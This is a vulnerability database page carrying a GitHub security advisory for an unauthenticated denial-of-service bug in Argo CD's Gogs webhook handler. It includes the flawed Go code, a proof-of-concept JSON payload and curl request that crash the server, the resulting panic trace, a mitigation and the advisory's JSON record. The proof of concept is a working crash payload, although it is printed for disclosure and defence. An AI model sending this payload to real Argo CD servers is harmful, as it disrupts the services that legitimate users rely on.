GHSA-WP4P-9PXH-CGX2
Vulnerability from github – Published: 2025-09-30 18:28 – Updated: 2025-10-23 20:22Summary
Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.
With the default configuration, no webhook.gogs.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field commits[].repo is not set or is null.
Details
Users can access /api/webhook without authentication, and when accessing this endpoint, the Handler function parses webhook type messages according to the header (e.g. X-Gogs-Event) and body parameters provided by the user. The Parse function simply unmarshals JSON-type messages. In other words, it returns a data structure even if the data structure is not exactly matched.
The affectedRevisionInfo function parses data according to webhook event types(e.g. gogsclient.PushPayload). However, due to the lack of data structure validation corresponding to these events, an attacker can cause a Denial of Service (DoS) attack by sending maliciously crafted data. because of Repository is Pointer Type.
func affectedRevisionInfo(payloadIf any) (webURLs []string, revision string, change changeInfo, touchedHead bool, changedFiles []string) {
switch payload := payloadIf.(type) {
// ...
case gogsclient.PushPayload:
webURLs = append(webURLs, payload.Repo.HTMLURL) // bug
// ...
}
return webURLs, revision, change, touchedHead, changedFiles
}
PoC
payload-gogs.json
{
"ref": "refs/heads/master",
"before": "0000000000000000000000000000000000000000",
"after": "0a05129851238652bf806a400af89fa974ade739",
"commits": [{}]
}
curl -k -v https://argocd.example.com/api/webhook \
-H 'X-Gogs-Event: push' \
-H 'Content-Type: application/json' \
--data-binary @/tmp/payload-gogs.json
An attacker can cause a DoS and make the argo-cd service unavailable by continuously sending unauthenticated requests to /api/webhook.
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x68 pc=0x280f494]
goroutine 302 [running]:
github.com/argoproj/argo-cd/v2/util/webhook.affectedRevisionInfo({0x3bd8240?, 0x40005a7030?})
/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:233 +0x594
github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).HandleEvent(0x40000f9140, {0x3bd8240?, 0x40005a7030?})
/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:254 +0x38
github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool.func1()
/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:128 +0x60
created by github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool in goroutine 1
/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:121 +0x28
Mitigation
If you use Gogs and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.
If you do not use Gogs, you can set the webhook secret to a long, random value to effectively disable webhook handling for Gogs payloads.
apiVersion: v1
kind: Secret
metadata:
name: argocd-secret
type: Opaque
data:
+ webhook.gogs.secret: <your base64-encoded secret here>
For more information
- Open an issue in the Argo CD issue tracker or discussions
- Join us on Slack in channel #argo-cd
Credit
Sangjun Song (s0ngsari) at Theori (theori.io)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0"
},
{
"last_affected": "1.8.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.14.19"
},
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-rc1"
},
{
"fixed": "2.14.20"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0-rc1"
},
{
"fixed": "3.2.0-rc2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.2.0-rc1"
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.7"
},
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0-rc1"
},
{
"fixed": "3.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.18"
},
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-rc1"
},
{
"fixed": "3.0.19"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59537"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-30T18:28:38Z",
"nvd_published_at": "2025-10-01T21:16:43Z",
"severity": "HIGH"
},
"details": "### Summary\n\nUnpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. \n\nWith the default configuration, no `webhook.gogs.secret` set, Argo CD\u2019s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field `commits[].repo` is not set or is null.\n\n### Details\n\nUsers can access `/api/webhook` without authentication, and when accessing this endpoint, the `Handler` function parses webhook type messages according to the `header (e.g. X-Gogs-Event)` and `body` parameters provided by the user. The `Parse` function simply unmarshals JSON-type messages. In other words, it returns a data structure even if the data structure is not exactly matched.\n\nThe `affectedRevisionInfo` function parses data according to webhook event types(e.g. `gogsclient.PushPayload`). However, due to the lack of data structure validation corresponding to these events, an attacker can cause a Denial of Service (DoS) attack by sending maliciously crafted data. because of Repository is Pointer Type.\n\n```go\nfunc affectedRevisionInfo(payloadIf any) (webURLs []string, revision string, change changeInfo, touchedHead bool, changedFiles []string) {\n switch payload := payloadIf.(type) {\n // ...\n case gogsclient.PushPayload:\n webURLs = append(webURLs, payload.Repo.HTMLURL) // bug\n // ...\n }\n return webURLs, revision, change, touchedHead, changedFiles\n}\n\n```\n### PoC\n\npayload-gogs.json\n\n```json\n{\n \"ref\": \"refs/heads/master\",\n \"before\": \"0000000000000000000000000000000000000000\",\n \"after\": \"0a05129851238652bf806a400af89fa974ade739\",\n \"commits\": [{}]\n}\n```\n\n```shell\ncurl -k -v https://argocd.example.com/api/webhook \\\n -H \u0027X-Gogs-Event: push\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data-binary @/tmp/payload-gogs.json\n```\n\nAn attacker can cause a DoS and make the argo-cd service unavailable by continuously sending unauthenticated requests to `/api/webhook`.\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x68 pc=0x280f494]\n\ngoroutine 302 [running]:\ngithub.com/argoproj/argo-cd/v2/util/webhook.affectedRevisionInfo({0x3bd8240?, 0x40005a7030?})\n\t/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:233 +0x594\ngithub.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).HandleEvent(0x40000f9140, {0x3bd8240?, 0x40005a7030?})\n\t/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:254 +0x38\ngithub.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool.func1()\n\t/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:128 +0x60\ncreated by github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool in goroutine 1\n\t/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:121 +0x28\n```\n\n### Mitigation\n\nIf you use Gogs and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.\n\nIf you do not use Gogs, you can set the webhook secret to a long, random value to effectively disable webhook handling for Gogs payloads.\n\n```diff\napiVersion: v1\nkind: Secret\nmetadata:\n name: argocd-secret\ntype: Opaque\ndata:\n+ webhook.gogs.secret: \u003cyour base64-encoded secret here\u003e\n```\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credit\n\nSangjun Song (s0ngsari) at Theori (theori.io)",
"id": "GHSA-wp4p-9pxh-cgx2",
"modified": "2025-10-23T20:22:30Z",
"published": "2025-09-30T18:28:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-wp4p-9pxh-cgx2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59537"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-cd/commit/761fc27068d2d4cd24e1f784eb2a9033b5ee7f43"
},
{
"type": "PACKAGE",
"url": "https://github.com/argoproj/argo-cd"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-39896"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "argo-cd vulnerable unauthenticated DoS via malformed Gogs webhook payload"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.